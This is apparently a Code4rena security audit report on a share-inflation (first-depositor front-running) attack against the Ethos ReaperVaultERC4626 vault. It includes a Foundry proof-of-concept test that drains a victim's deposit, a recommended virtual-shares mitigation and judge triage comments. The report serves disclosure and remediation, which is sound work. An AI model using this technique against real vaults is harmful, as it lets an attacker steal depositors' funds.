Vault vulnerable to inflation attack risking depositors losing their deposits

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L202
https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L359

Vulnerability details

Impact

The current vault implementation ReaperVaultERC4626 is vulnerable to inflation attacks [0] risking depositors losing their deposits.

Proof of Concept

We demonstrate the attack using an empty vault with a TVL cap of 100 ether. A malicious depositor deposits 1 wei of the underlying to the vault to mint 1 share.

While observing the mempool for a large deposit of a legitimate user, the attacker transfers the same amount of the underlying token directly to the vault before the legitimate user deposits.

Once the legitimate user deposits and the vault calculates the amount of shares, the transfer of the attacker will have inflated the share price effectively rendering the legitimate users' deposit worthless because the number of shares a user gets is rounded down.

See [1] for a detailed breakdown of the attack and proposed mitigations.

POC https://gist.github.com/alpeware/52f27b1de2dfd648ac6232925d0c18e6#file-inflationattack-t-sol

Snippet -

  function testAttack() public {
    // setup
    address _underlying_ = address(mockERC20);
    address _vault_ = address(vault);

    address user;
    uint amount;

    // attacker frontruns user
    address mallory = address(0x100);

    amount = 1;
    user = mallory;
    IMockERC20(_underlying_).mint(user, amount);
    _approve(_underlying_, user, _vault_, amount);

    grant(user, vault.DEPOSITOR());
    vm.prank(user); IERC4626(_vault_).deposit(amount, user);

    // amount that regular user will deposit
    amount = 10 ether;

    // malicious user deposits directly to the vault
    // to manipulate exchange rate before regular deposit
    IMockERC20(_underlying_).mint(user, amount);
    vm.prank(user); IMockERC20(_underlying_).transfer(_vault_, amount);

    // regular user deposits
    amount = 10 ether;
    user = address(0x200);
    IMockERC20(_underlying_).mint(user, amount);
    _approve(_underlying_, user, _vault_, amount);

    grant(user, vault.DEPOSITOR());
    vm.prank(user); IERC4626(_vault_).deposit(amount, user);

    // malicious user withdraws
    amount = IERC4626(_vault_).maxWithdraw(mallory);
    vm.prank(mallory); IERC4626(_vault_).withdraw(amount, mallory, mallory);

    // regular user tries to withdraw and fails because amount is 0
    amount = IERC4626(_vault_).maxWithdraw(user);
    assertTrue(amount == 0 ether);

    vm.expectRevert();
    vm.prank(user); IERC4626(_vault_).withdraw(amount, user, user);

    // convince ourselves it worked
    uint malloryAmount = IERC20(_underlying_).balanceOf(mallory);
    uint userAmount = IERC20(_underlying_).balanceOf(user);
    uint vaultAmount = IERC20(_underlying_).balanceOf(_vault_);

    assertTrue(malloryAmount > 20 ether);
    assertTrue(userAmount == 0 ether);
    assertTrue(vaultAmount == 0 ether);
  }

Logs https://gist.github.com/alpeware/52f27b1de2dfd648ac6232925d0c18e6#file-log-txt

Tools Used

Foundry
ERC4626 Property Tests

Recommended Mitigation Steps

Use virtual shares and assets to mitigate inflation attacks as originally pioneered by YieldBox [2].

See OZ implementation for an example implementation -
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol

QA feedback

ReaperVaultERC4626 implementation does not comply with the EIP-4626 spec [3] since assets and shares are approximate values due to loss of precision when they should be exact.

• withdraw sends exactly assets of underlying tokens
• mint Mints exactly shares Vault shares

Referrences

[0] OpenZeppelin/openzeppelin-contracts#3706
[1] https://gist.github.com/Amxx/ec7992a21499b6587979754206a48632
[2] https://github.com/boringcrypto/YieldBox/blob/107eb8cb9d0bc686181b842d8c74659913603937/contracts/YieldBoxRebase.sol
[3] https://eips.ethereum.org/EIPS/eip-4626

[c4-judge]

trust1995 marked the issue as primary issue

[c4-judge]

trust1995 marked the issue as duplicate of #848

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 changed the severity to QA (Quality Assurance)

[c4-judge]

trust1995 marked the issue as grade-b

[c4-sponsor]

0xBebis marked the issue as sponsor acknowledged